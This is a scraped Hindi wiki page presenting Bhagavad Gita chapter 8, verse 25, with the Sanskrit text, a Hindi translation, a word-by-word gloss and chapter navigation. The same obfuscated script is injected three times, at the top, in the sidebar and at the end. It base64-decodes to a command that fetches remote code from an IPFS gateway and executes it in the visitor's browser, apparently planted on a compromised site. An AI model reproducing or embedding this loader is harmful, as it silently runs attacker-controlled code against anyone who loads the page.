गीता 8:25

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Gaurav (चर्चा | योगदान) द्वारा परिवर्तित ०८:०३, ११ अक्टूबर २००९ का अवतरण (नया पृष्ठ: {{menu}}<br /> <table class="gita" width="100%" align="left"> <tr> <td> ==गीता अध्याय-8 श्लोक-25 / Gita Chapter-8 Verse-25== {| width="80%"...)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता अध्याय-8 श्लोक-25 / Gita Chapter-8 Verse-25

प्रसंग-


इस प्रकार वापस न लौटने वालों के मार्ग का वर्णन करके अब जिस मार्ग से गये हुए साधक वापस लौटते हैं, उसका वर्णन किया जाता है-


धूमो रात्रिस्तथा कृष्ण: षण्मासा दक्षिणायनम् ।
तत्र चान्द्रमसं ज्योतिर्योगी प्राप्य निवर्तते ।।25।।



जिस मार्ग में धूमाभिमानी देवता है, रात्रि-अभिमानी देवता है तथा कृष्ण पक्ष का अभिमानी देवता है और दक्षिणायन के छ: महीनों का अभिमानी देवता है, उस मार्ग में मरकर गयी हुआ सकाम कर्म करने वाला योगी उपर्युक्त देवताओं द्वारा क्रम से ले गया हुआ चन्द्रमा की ज्योति को प्राप्त होकर स्वर्ग में अपने शुभ कर्मों का फल भोगकर वापस आता है ।।25।।



धूम: = धूमाभिमानी देवता है (और) ; रात्रि: = रात्रि अभिमानी देवता है ; तथा = तथा ; कृष्ण: = कृष्णपक्ष का अभिमानी देवता है (और) (उपरोक्त देवताओं द्वारा क्रमसे ले गया हुआ) ; चान्द्रमसम् = चन्द्रमाकी ; ज्योति: = ज्योति को ; षण्मासा: दक्षिणायनम् = दक्षिणायन के छ महीनों का अभिमानी देवता है ; तत्र = उस मार्ग में (मरकर गया हुआ) ; योगी = सकाम कर्म योगी ; प्राप्य = प्राप्त होकर (स्वर्ग में अपने शुभकर्मों का फल भोगकर) ; निवर्तते = पीछा आता है


<= पीछे Prev | आगे Next =>


अध्याय आठ श्लोक संख्या
Verses- Chapter-8

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12, 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter

</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>